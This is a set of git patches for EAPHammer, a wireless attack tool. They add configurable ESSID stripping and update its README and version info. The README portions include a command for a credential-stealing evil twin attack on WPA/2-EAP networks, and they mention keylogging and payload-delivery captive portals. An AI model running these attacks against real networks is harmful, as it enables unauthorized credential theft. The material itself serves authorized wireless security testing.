+ssid2=P"wifi-AP\x20" utf8_ssid=1 ``` diff --git a/core/cli.py b/core/cli.py index a74aa20..bec1ca1 100644 --- a/core/cli.py +++ b/core/cli.py @@ -42,7 +42,7 @@ 'lport', 'karma', 'mana', - 'stripping', + 'essid_stripping', 'loud', 'create_template', 'delete_template', @@ -480,10 +480,12 @@ def set_options(): help='Enable karma.') - access_point_group.add_argument('--stripping', - dest='stripping', - action='store_true', - help='Enable ESSID Stripping.') + access_point_group.add_argument('--essid-stripping', + dest='essid_stripping', + type=str, + choices=['\\r', '\\n', '\\t', '\\x20'], + default=None, + help='Enable ESSID Stripping adding \\r.') access_point_group.add_argument('--mac-whitelist', dest='mac_whitelist', diff --git a/core/hostapd_config.py b/core/hostapd_config.py index 0e687af..0699304 100644 --- a/core/hostapd_config.py +++ b/core/hostapd_config.py @@ -361,10 +361,11 @@ def populate_general(self, settings, options): if options['essid'] is None: general_configs['ssid'] = settings.dict['core']['hostapd']['general']['ssid'] else: - if options['stripping']: + if options['essid_stripping']: + UTF8_char = options['essid_stripping'] general_configs['ssid'] = options['essid'] # Add UTF8 and ssid2=P"wifi-AP\n" - general_configs['ssid2'] = "P\"" + options['essid'] + "\\r\"" + general_configs['ssid2'] = "P\"" + options['essid'] + UTF8_char +"\"" general_configs['utf8_ssid'] = 1 else: general_configs['ssid'] = options['essid'] From 68daf511a63477dbcad69c5ddfea833255fe0b81 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=B8lst1c3?= Date: Sat, 7 Oct 2023 11:03:52 -0600 Subject: [PATCH 23/26] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index daeb493..986c565 100644 --- a/README.md +++ b/README.md @@ -42,9 +42,9 @@ Begin by cloning the __eaphammer__ repo using the following command: git clone https://github.com/s0lst1c3/eaphammer.git -Next run the parot-setup file as shown below to complete the eaphammer setup process. This will install dependencies and compile the project: +Next run the parrot-setup file as shown below to complete the eaphammer setup process. This will install dependencies and compile the project: - ./parot-setup + ./parrot-setup To setup and execute a credential stealing evil twin attack against a WPA/2-EAP network: From 5c54ea226fc13d741e2afa84d278a27cae0e202d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=B8lst1c3?= Date: Sat, 7 Oct 2023 11:13:31 -0600 Subject: [PATCH 24/26] Update README.md --- README.md | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 986c565..e0e0660 100644 --- a/README.md +++ b/README.md @@ -36,15 +36,15 @@ To setup and execute a credential stealing evil twin attack against a WPA/2-EAP # launch attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds -## Quick Start Guide - Parrot OS (Security) +## Quick Start Guide - Parot OS (Security) Begin by cloning the __eaphammer__ repo using the following command: git clone https://github.com/s0lst1c3/eaphammer.git -Next run the parrot-setup file as shown below to complete the eaphammer setup process. This will install dependencies and compile the project: +Next run the parot-setup file as shown below to complete the eaphammer setup process. This will install dependencies and compile the project: - ./parrot-setup + ./parot-setup To setup and execute a credential stealing evil twin attack against a WPA/2-EAP network: @@ -79,7 +79,10 @@ Features - Fast and automated PMKID attacks against PSK networks using hcxtools - Password spraying across multiple usernames against a single ESSID -### New (as of Version 1.13.5)(latest): +### New (as of Version 1.14.0)(latest): +Added support for ESSID Stripping attacks. + +### Captive Portal with Keylogging, Payload Delivery, and Integrated Website Cloaner (added in version 1.13.5): EAPHammer now has a modular captive portal with keylogging and payload delivery capabilities, as well as an integrated website cloaner for easily creating portal modules. ### WPA/2-PSK handshake captures (added as for version 1.7.0) @@ -130,13 +133,6 @@ EAPHammer now supports attacks against 802.11a and 802.11n networks. This includ - RIFS - HT power management -Upcoming Features ------------------ - -- Perform seamless MITM attacks with partial HSTS bypasses -- directed rogue AP attacks (deauth then evil twin from PNL, deauth then karma + ACL) -- Integrated website cloner for cloning captive portal login pages -- Integrated HTTP server for captive portals ## Contributing @@ -168,6 +164,7 @@ This tool either builds upon, is inspired by, or directly incorporates nearly fi * Adam Toscher * George Chatzisofroniou * Mathy Vanhoef +* Raúl Calvo Laorden For a complete description of what each of these people has contributed to the current wireless security landscape and this tool, please see: From 95d0a12f5fc34302d4bac5cd941af42cc040c410 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=B8lst1c3?= Date: Sat, 7 Oct 2023 11:25:55 -0600 Subject: [PATCH 25/26] Update README.md --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index e0e0660..4c61039 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,12 @@ ![logo](https://rawcdn.githack.com/s0lst1c3/eaphammer/ab8202de4a298957a2bc5662f986cdfb195490e4/docs/img/logo.png) -by Gabriel Ryan ([s0lst1c3](https://twitter.com/s0lst1c3))(gabriel[at]solstice|d0t|sh) +by Gabriel Ryan ([s0lst1c3](https://twitter.com/s0lst1c3)) [![Foo](https://rawcdn.githack.com/toolswatch/badges/8bd9be6dac2a1d445367001f2371176cc50a5707/arsenal/usa/2017.svg)](https://www.blackhat.com/us-17/arsenal.html#eaphammer) -Current release: [v1.13.5](https://github.com/s0lst1c3/eaphammer/releases/tag/v1.13.5) +Current release: [v1.14.0](https://github.com/s0lst1c3/eaphammer/releases/tag/v1.14.0) -Supports _Python 3.5+_. +Supports _Python 3.9+_. Overview -------- @@ -80,7 +80,7 @@ Features - Password spraying across multiple usernames against a single ESSID ### New (as of Version 1.14.0)(latest): -Added support for ESSID Stripping attacks. +Added support for ESSID Stripping attacks. Fixed many, many bugs. ### Captive Portal with Keylogging, Payload Delivery, and Integrated Website Cloaner (added in version 1.13.5): EAPHammer now has a modular captive portal with keylogging and payload delivery capabilities, as well as an integrated website cloaner for easily creating portal modules. From 7c25882c1a22ca56e51374361a3b3bde1ad821c0 Mon Sep 17 00:00:00 2001 From: s0lst1c3 Date: Sat, 7 Oct 2023 14:13:41 -0400 Subject: [PATCH 26/26] version bump --- __version__.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/__version__.py b/__version__.py index da2e308..8231156 100644 --- a/__version__.py +++ b/__version__.py @@ -1,5 +1,5 @@ -__version__ = '1.13.5' -__codename__ = 'Power Overwhelming' +__version__ = '1.14.0' +__codename__ = 'Final Frontier' __author__ = '@s0lst1c3' -__contact__ = 'gabriel<>solstice(doT)sh' -__tagline__ = 'A nice shiny new access point.' +__contact__ = 'gabriel<>transmitengage.com' +__tagline__ = 'Now with more fast travel than a next-gen Bethesda game. >:D'